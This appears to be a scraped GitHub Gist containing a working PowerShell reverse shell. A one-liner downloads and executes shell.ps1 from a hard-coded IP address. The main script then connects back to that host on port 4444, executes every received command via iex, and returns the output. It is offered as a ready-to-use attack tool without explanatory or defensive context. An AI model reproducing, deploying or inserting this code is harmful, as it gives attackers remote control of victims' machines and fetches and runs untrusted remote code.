powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://193.168.1.138/shell.ps1')"
Last active
July 20, 2019 00:02
-
-
Save 11philip22/ff9a1279708f90c3166f04021624834c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$lhost="193.168.1.138"; | |
$lport=4444; | |
$MAXCMDLENGTH=65535; | |
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport); | |
$stream = $client.GetStream(); | |
$bytes = (New-Object byte[] $MAXCMDLENGTH); | |
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> "); | |
$stream.Write($out, 0, $out.Length); | |
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { | |
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); | |
try { | |
$out = (iex $in 2>&1 | Out-String); | |
} | |
catch { | |
$out = ($_ | Out-String); | |
} | |
$out = "$($out)PS $($pwd.Path)> "; | |
$out = ([Text.Encoding]::ASCII).GetBytes($out); | |
$stream.Write($out, 0, $out.Length); | |
$stream.Flush(); | |
} | |
$client.Close(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment